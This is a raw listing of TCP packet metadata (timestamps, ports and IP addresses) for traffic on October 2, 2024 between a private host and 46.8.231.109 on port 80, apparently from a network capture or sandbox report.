Oct 2, 2024 17:17:23.424063921 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424088001 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424104929 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424119949 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424158096 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424165964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424176931 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424189091 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424197912 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424206972 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424232960 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424501896 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424513102 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424524069 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424535036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424552917 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424585104 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424634933 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424653053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424664021 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424674034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424705029 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424724102 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424776077 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424787998 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424798012 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424808025 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424817085 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424818039 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424829960 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424845934 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424865007 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425107956 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425120115 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425129890 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425162077 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425173044 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425177097 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425177097 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425183058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425194979 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425199986 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425226927 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425323963 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425334930 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425347090 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425357103 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425363064 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425367117 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425376892 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425390005 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425393105 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425410986 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425432920 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425452948 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425465107 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425473928 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425476074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425492048 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425514936 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.425956011 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.425996065 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426021099 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426042080 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426044941 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426069975 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426071882 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426094055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426100016 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426114082 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426132917 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426135063 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426156998 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426181078 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426203966 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426220894 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426228046 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426244974 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426250935 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426270008 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426275969 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426301003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426314116 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426326990 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426342010 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426347017 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426364899 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426386118 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426584005 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426608086 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426634073 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.426652908 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.426680088 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.524564981 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.529542923 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593753099 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593784094 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593795061 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593811035 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593822956 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593832970 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593842983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593853951 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593863964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593873978 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593883991 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593894958 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593914986 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593915939 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.593925953 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593935966 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593945980 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593956947 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593965054 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.593967915 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.593986988 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594010115 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594059944 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594070911 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594080925 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594090939 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594099998 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594101906 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594119072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594130039 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594134092 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594140053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594146967 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594151020 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594161034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594172001 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594173908 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594181061 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594192982 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594198942 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594202042 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594213009 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594217062 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594240904 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594266891 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594347954 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594358921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594368935 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594379902 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594381094 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594398975 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594424009 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594588041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594599009 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594609976 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594619989 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594626904 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594630003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594634056 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594640017 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594650030 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594660997 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594667912 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594671011 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594681978 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594683886 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594706059 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594722033 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594732046 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594748020 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594758034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594763994 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594768047 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594778061 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594779015 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594789028 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594798088 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594799042 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594809055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594820023 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594821930 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594830036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594840050 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594841957 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594850063 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594856024 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594860077 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594871044 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594873905 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594881058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594890118 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594891071 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594902039 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.594916105 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.594939947 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595460892 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595474005 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595484972 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595494032 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595504045 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595511913 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595515013 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595525026 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595535040 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595545053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595549107 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595555067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595566034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595570087 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595577002 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595586061 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595592022 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595602989 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595612049 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595612049 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595623016 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595633030 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595637083 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595644951 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595653057 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595654964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595664978 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595668077 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595675945 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595686913 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595695019 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595699072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595710039 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595720053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595721960 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595730066 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595740080 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595750093 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595752954 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595752954 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595760107 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595769882 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595777035 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595782995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595792055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595802069 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595807076 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595814943 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595824003 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595824957 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595834970 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595838070 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595844984 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595854998 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595865011 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.595865965 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595890045 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.595904112 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596120119 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596149921 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596333981 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596345901 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596355915 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596365929 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596371889 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596375942 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596386909 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596396923 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596398115 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596407890 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596421003 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596436977 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596484900 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596518040 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596528053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596538067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596546888 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596546888 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596546888 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596558094 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596565008 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596565008 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596568108 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596576929 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596580029 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596587896 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596596956 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596606970 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596606970 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596612930 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596612930 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596623898 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596632957 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596643925 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596642971 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596643925 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596652985 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596658945 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596663952 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596673012 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596676111 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596683025 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596693993 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596702099 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596702099 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596704960 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596714973 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596724987 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596728086 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596728086 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596735001 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596744061 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596745014 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596755981 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596761942 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596761942 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596765995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596776009 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596779108 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596786976 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.596801043 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.596826077 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597140074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597151041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597161055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597170115 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597181082 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597191095 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597201109 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597210884 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597220898 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597265005 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597265959 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597265959 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597285032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597285032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597285032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597285032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597285032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597296000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597306967 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597316027 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597327948 CEST	80	65279	46.8.231.109	192.168.2.6
